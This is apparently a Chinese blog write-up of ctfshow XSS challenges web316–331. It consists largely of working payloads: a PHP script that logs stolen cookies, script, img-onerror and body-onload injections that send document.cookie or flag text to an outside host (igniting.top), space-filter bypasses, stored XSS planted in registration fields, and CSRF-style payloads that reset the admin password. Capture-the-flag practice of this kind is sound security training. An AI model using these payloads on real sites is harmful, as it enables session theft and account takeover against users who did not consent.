xss

xss

xss

web316(反射型)

alt text
自己搭服务器

先在服务器上面放一个接受Cookie的文件

127.php

<?php
    $cookie = $_GET['cookie'];
    $time = date('Y-m-d h:i:s', time());
    $log = fopen("cookie.txt", "a");
    fwrite($log,$time.':    '. $cookie . "\n");
    fclose($log);
?>

alt text

paylaod:

<script>document.location.href='http://igniting.top/127.php?1='+document.cookie</script>

web317

测试一下过滤了script了

标签可以用 img

paylaod:

<img src="" οnerrοr=location.href="http://igniting.top/127.php?cookie="+document.cookie>

web318

先进行一下测试,看看过滤了什么。

无回显
alt text

无回显
alt text

<body>alert(1)</body>有回显,可以用<body>头

payload:

<body onload="document.location.href='http://igniting.top/127.php?1='+document.cookie"></body>

web319

同上

web320~326

过滤了空格,
用/**/或%09或/绕过

payload:

<body/**/onload="document.location.href='http://igniting.top/522.php?1='+document.cookie"></body>

web327(储存型)

alt text
由上图可知这里的收件人要写admin
alt text

web328

首先注册用户,然后登陆之后发现,只有admin才能查看
alt text

那么我们可以构造一个xss,让管理员点击,然后得到管理员的cookie,再登陆。

将密码设置为xss的payload
然后注册登陆
payload:

<script>window.location.href='http://igniting.top/522.php?1='+document.cookie;</script>

alt text

在服务器目录下拿到cookie
alt text

数据和验证不是一起发送过来的,后端验证之后,发送一个响应,但是数据是通过json发送出来的。所以我们应该在响应中找到json文件,用这个文件重新发包
alt text

alt text

web329

没懂
payload:

<script>$('.laytable-cell-1-0-1').each(function(index, value){if(value.innerHTML.indexOf('ctf'+'show'+'{')>-1){window.location.href='http://igniting.top/522.php?1='+value.innerHTML;}});</script>

web330

多了个修改密码的功能:
alt text

这就很明显了,用类似csrf的方法把admin密码改了就行了,注册个号,账号和密码都为:

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

最后用账号admin和密码123登录即可

详细csrf阐释:
https://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.html

web331

还是改密码,只是这次换成了POST方法,修改一下payload:

<script>$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});</script>

注册个号,账号和密码都为这个payload,然后用密码123登录admin账户即可

$.ajax()是jQuery库中一个用于发送AJAX请求的函数。它提供了一种简便的方式来与服务器进行数据交换。

下面是$.ajax()函数的基本语法:

$.ajax({
  url: '', // 请求的URL
  type: '', // 请求的方法,例如 'GET'、'POST' 等
  data: {}, // 请求发送的数据,可以是对象、字符串或序列化的表单数据
  dataType: '', // 服务器返回的数据类型,例如 'json'、'html'、'text' 等
  success: function(response) {
    // 请求成功时执行的回调函数
  },
  error: function(xhr, status, error) {
    // 请求失败时执行的回调函数
  }
});

你可能也会喜欢...

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注